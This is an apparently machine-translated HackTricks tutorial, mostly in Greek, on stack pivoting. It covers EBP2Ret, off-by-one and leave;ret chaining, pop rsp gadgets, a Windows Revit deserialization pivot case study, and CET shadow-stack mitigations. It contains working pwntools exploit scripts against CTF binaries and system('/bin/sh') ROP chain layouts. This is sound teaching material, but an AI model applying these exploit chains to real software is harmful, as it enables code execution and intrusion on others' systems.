Stack Pivoting
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται τον Base Pointer (EBP/RBP) για να αλυσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του frame pointer και της ακολουθίας εντολών leave; ret.
Ως υπενθύμιση, στο x86/x86-64 leave είναι ισοδύναμο με:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it’s possible to control it by controlling the stack.
Notes
- Σε 64-bit, αντικαταστήστε EBP→RBP και ESP→RSP. Η σημασιολογία είναι ίδια.
- Ορισμένοι compilers παραλείπουν τον frame pointer (see “EBP might not be used”). Σε αυτή την περίπτωση,
leavemight not appear and this technique won’t work.
EBP2Ret
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείς να alter the saved EBP/RBP but have no direct way to change EIP/RIP. Εκμεταλλεύεται τη συμπεριφορά του epilogue της συνάρτησης.
If, during fvuln’s execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode/ROP chain address is located (plus 8 bytes on amd64 / 4 bytes on x86 to account for the pop), you can indirectly control RIP. Καθώς η συνάρτηση επιστρέφει, leave sets RSP to the crafted location and the subsequent pop rbp decreases RSP, effectively making it point to an address stored by the attacker there. Then ret will use that address.
Note how you need to know 2 addresses: the address where ESP/RSP is going to go, and the value stored at that address that ret will consume.
Exploit Construction
First you need to know an address where you can write arbitrary data/addresses. RSP will point here and consume the first ret.
Then, you need to choose the address used by ret that will transfer execution. You could use:
- Μια έγκυρη ONE_GADGET address.
- Η διεύθυνση της
system()followed by the appropriate return and arguments (on x86:rettarget =&system, then 4 junk bytes, then&"/bin/sh"). - Τη διεύθυνση ενός
jmp esp;gadget (ret2esp) followed by inline shellcode. - Ένα ROP chain staged in εγγράψιμη μνήμη.
Remember that before any of these addresses in the controlled area, there must be space for the pop ebp/rbp from leave (8B on amd64, 4B on x86). Μπορείς να καταχραστείς αυτά τα bytes για να θέσεις ένα second fake EBP and keep control after the first call returns.
Off-By-One Exploit
Υπάρχει μια παραλλαγή που χρησιμοποιείται όταν μπορείς να only modify the least significant byte of the saved EBP/RBP. Σε μια τέτοια περίπτωση, η θέση μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει το άλμα με ret πρέπει να μοιράζεται τα πρώτα τρία/πέντε bytes με το αρχικό EBP/RBP ώστε μια 1-byte overwrite να μπορεί να την αναδρομολογήσει. Συνήθως το low byte (offset 0x00) αυξάνεται για να πηδήξει όσο το δυνατόν πιο μακριά εντός μιας κοντινής σελίδας/ευθυγραμμισμένης περιοχής.
It’s also common to use a RET sled in the stack and put the real ROP chain at the end to make it more probable that the new RSP points inside the sled and the final ROP chain is executed.
EBP Chaining
Τοποθετώντας μια ελεγχόμενη διεύθυνση στην αποθηκευμένη θέση του EBP στο stack και ένα leave; ret gadget στο EIP/RIP, είναι δυνατόν να move ESP/RSP to an attacker-controlled address.
Τώρα το RSP είναι ελεγχόμενο και η επόμενη εντολή είναι ret. Τοποθέτησε στη ελεγχόμενη μνήμη κάτι όπως:
&(next fake EBP)-> Φορτώνεται από τοpop ebp/rbpτουleave.&system()-> Καλείται από τοret.&(leave;ret)-> Μετά το τέλος τουsystem, μετακινεί το RSP στο επόμενο fake EBP και συνεχίζει.&("/bin/sh")-> Όρισμα για τοsystem.
Με αυτόν τον τρόπο είναι δυνατόν να αλυσιδώσεις πολλαπλά ψεύτικα EBPs για να ελέγξεις τη ροή του προγράμματος.
This is like a ret2lib, αλλά πιο σύνθετο και χρήσιμο μόνο σε ακραίες περιπτώσεις.
Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 συμβουλή στοίχισης: το System V ABI απαιτεί 16-byte στοίχιση της στοίβας στα σημεία κλήσης. Αν η αλυσίδα σας καλεί συναρτήσεις όπως
system, προσθέστε ένα alignment gadget (π.χ.,ret, ήsub rsp, 8 ; ret) πριν την κλήση για να διατηρήσετε τη στοίχιση και να αποφύγετε σφάλματαmovaps.
EBP ενδέχεται να μην χρησιμοποιείται
Όπως explained in this post, αν ένα binary μεταγλωττιστεί με κάποιες βελτιστοποιήσεις ή με παράλειψη του frame-pointer, το EBP/RBP ποτέ δεν ελέγχει το ESP/RSP. Επομένως, οποιοδήποτε exploit που λειτουργεί ελέγχοντας το EBP/RBP θα αποτύχει επειδή το prologue/epilogue δεν αποκαθιστά από τον δείκτη πλαισίου.
- Όχι βελτιστοποιημένο / χρησιμοποιείται frame pointer:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Βελτιστοποιημένο / παραλείφθηκε ο δείκτης πλαισίου:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Στο amd64 θα συναντήσετε συχνά pop rbp ; ret αντί για leave ; ret, αλλά αν ο frame pointer παραλείπεται εντελώς τότε δεν υπάρχει epilogue βασισμένο σε rbp για να γίνει pivot.
Άλλοι τρόποι ελέγχου του RSP
pop rsp gadget
In this page μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική. Για εκείνη την πρόκληση χρειάστηκε να κληθεί μια συνάρτηση με 2 συγκεκριμένα ορίσματα, και υπήρχε ένα pop rsp gadget και υπάρχει leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Δείτε την τεχνική ret2esp εδώ:
Εύρεση pivot gadgets γρήγορα
Χρησιμοποιήστε τον αγαπημένο σας gadget finder για να αναζητήσετε κλασικά pivot primitives:
leave ; retσε συναρτήσεις ή σε βιβλιοθήκεςpop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(ήadd esp, <imm> ; retσε x86)
Παραδείγματα:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
Μια ανθεκτική στρατηγική pivot που χρησιμοποιείται σε πολλά CTFs/exploits:
- Χρησιμοποιήστε ένα μικρό αρχικό overflow για να καλέσετε
read/recvσε μια μεγάλη εγγράψιμη περιοχή (π.χ.,.bss, heap, ή mapped RW memory) και τοποθετήστε εκεί μια πλήρη ROP chain. - Επιστρέψτε σε ένα pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) για να μετακινήσετε το RSP σε αυτήν την περιοχή. - Συνεχίστε με την staged chain (π.χ., leak libc, call
mprotect, μετάreadshellcode και jump σε αυτό).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Οι client-side parsers μερικές φορές υλοποιούν destructor loops που καλούν έμμεσα έναν function pointer προερχόμενο από attacker-controlled πεδία αντικειμένων. Αν κάθε επανάληψη προσφέρει ακριβώς μία indirect call (μια “one-gadget” μηχανή), μπορείτε να το μετατρέψετε σε αξιόπιστο stack pivot και ROP entry.
Παρατηρήθηκε στην deserialization του Autodesk Revit RFA (CVE-2025-5037):
- Κατασκευασμένα αντικείμενα τύπου
AStringτοποθετούν έναν pointer προς attacker bytes στο offset 0. - Ο destructor loop εκτελεί ουσιαστικά ένα gadget ανά αντικείμενο:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Δύο πρακτικά pivots:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget” που περιέχει
8B E0→mov esp, eax, και τελικάret, για pivot από το call primitive σε ένα heap-based ROP chain. - Windows 11 (full 64-bit addrs): χρήση δύο objects για να οδηγήσετε ένα constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(μεταφέρει το αρχικό rax στο rbp) - Gadget 2:
leave ; ... ; ret(γίνεταιmov rsp, rbp ; pop rbp ; ret), pivoting στο buffer του πρώτου object, όπου ακολουθεί μια συμβατική ROP chain.
Συμβουλές για Windows x64 μετά το pivot:
- Σεβαστείτε τον 0x20-byte shadow space και διατηρήστε 16-byte στοίχιση πριν από
callsites. Συχνά είναι βολικό να τοποθετείτε literals πάνω από τη διεύθυνση επιστροφής και να χρησιμοποιείτε ένα gadget όπωςlea rcx, [rsp+0x20] ; call raxακολουθούμενο απόpop rax ; retγια να περάσετε διευθύνσεις στο stack χωρίς να χαλάσετε το control flow. - Non-ASLR helper modules (εάν υπάρχουν) παρέχουν σταθερά pools από gadgets και imports όπως
LoadLibraryW/GetProcAddressγια δυναμική επίλυση στόχων όπωςucrtbase!system. - Δημιουργία ελλειπόντων gadgets μέσω writable thunk: αν μια υποσχόμενη ακολουθία τελειώνει σε
callμέσω ενός writable function pointer (π.χ. DLL import thunk ή function pointer στο .data), αντικαταστήστε αυτόν τον pointer με ένα benign single-step όπωςpop rax ; ret. Η ακολουθία τότε συμπεριφέρεται σαν να τελείωσε μεret(π.χ.mov rdx, rsi ; mov rcx, rdi ; ret), κάτι που είναι ανεκτίμητο για το φόρτωμα των Windows x64 arg registers χωρίς να clobberαριστούν άλλα registers.
Για την πλήρη κατασκευή της αλυσίδας και παραδείγματα gadgets, δείτε την αναφορά παρακάτω.
Σύγχρονες mitigations που σπάνε stack pivoting (CET/Shadow Stack)
Σύγχρονοι x86 CPUs και OSes εφαρμόζουν όλο και περισσότερο CET Shadow Stack (SHSTK). Με ενεργοποιημένο το SHSTK, το ret συγκρίνει τη διεύθυνση επιστροφής στο κανονικό stack με ένα hardware-protected shadow stack· οποιαδήποτε ασυμφωνία προκαλεί Control-Protection fault και τερματίζει τη διεργασία. Επομένως, τεχνικές όπως EBP2Ret/leave;ret-based pivots θα καταρρεύσουν μόλις εκτελεστεί το πρώτο ret από ένα pivoted stack.
- Για υπόβαθρο και λεπτομέρειες δείτε:
- Γρήγοροι έλεγχοι σε Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Σημειώσεις για labs/CTF:
-
Ορισμένες σύγχρονες διανομές ενεργοποιούν το SHSTK για CET-enabled binaries όταν υπάρχει υποστήριξη στο hardware και glibc. Για ελεγχόμενες δοκιμές σε VMs, το SHSTK μπορεί να απενεργοποιηθεί σε επίπεδο συστήματος μέσω της παραμέτρου εκκίνησης του kernel
nousershstk, ή να ενεργοποιηθεί επιλεκτικά μέσω των glibc tunables κατά την εκκίνηση (βλ. αναφορές). Μην απενεργοποιείτε mitigations σε production targets. -
Τεχνικές βασισμένες σε JOP/COOP ή SROP μπορεί ακόμα να είναι εφαρμόσιμες σε κάποιους στόχους, αλλά το SHSTK συγκεκριμένα σπάει τα
ret-based pivots. -
Σημείωση για Windows: Τα Windows 10+ εκθέτουν user-mode και τα Windows 11 προσθέτουν kernel-mode “Hardware-enforced Stack Protection” βασισμένο σε shadow stacks. CET-compatible processes αποτρέπουν το stack pivoting/ROP στο
ret; οι developers opt-in μέσω CETCOMPAT και σχετικών πολιτικών (βλ. αναφορά).
ARM64
Στο ARM64, οι prologue και epilogues των συναρτήσεων δεν αποθηκεύουν ούτε ανακτούν τον καταχωρητή SP στη στοίβα. Επιπλέον, η εντολή RET δεν επιστρέφει στη διεύθυνση που δείχνει ο SP, αλλά στη διεύθυνση που βρίσκεται μέσα στο x30.
Επομένως, από προεπιλογή, απλά κακοποιώντας τον epilogue δεν θα μπορείτε να ελέγξετε τον καταχωρητή SP με το να υπεργράψετε κάποια δεδομένα μέσα στη στοίβα. Και ακόμα κι αν καταφέρετε να ελέγξετε τον SP, θα χρειαστείτε έναν τρόπο να ελέγξετε τον καταχωρητή x30.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
Ο τρόπος για να πραγματοποιηθεί κάτι παρόμοιο με stack pivoting στο ARM64 θα ήταν να μπορείτε να ελέγξετε τον
SP(ελέγχοντας κάποιον καταχωρητή της τιμής του οποίου περνάει στονSPή επειδή για κάποιο λόγο οSPπαίρνει τη διεύθυνσή του από τη στοίβα και έχουμε overflow) και στη συνέχεια να κακοποιήσετε τον epilogue για να φορτώσετε τον καταχωρητήx30από έναν ελεγχόμενοSPκαι να κάνετεRETσε αυτόν.
Επίσης, στην ακόλουθη σελίδα μπορείτε να δείτε το αντίστοιχο του Ret2esp στο ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bit, off-by-one exploitation με ένα rop chain που ξεκινάει με ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, χωρίς relro, canary, nx και pie. Το πρόγραμμα δίνει ένα leak για stack ή pie και ένα WWW ενός qword. Πρώτα πάρετε το stack leak και χρησιμοποιήστε το WWW για να επιστρέψετε και να πάρετε το pie leak. Έπειτα χρησιμοποιήστε το WWW για να δημιουργήσετε ένα «αιώνιο» loop καταχρώμενοι καταχωρήσεις του
.fini_array+ καλώντας__libc_csu_fini(περισσότερες πληροφορίες εδώ). Κακοποιώντας αυτή τη “αιώνια” εγγραφή, γραφεί μια ROP chain στην .bss και τελικά καλείται pivoting με RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — λεπτομέρειες για SHSTK,
nousershstk,/proc/$PID/statusflags, και ενεργοποίηση μέσωarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


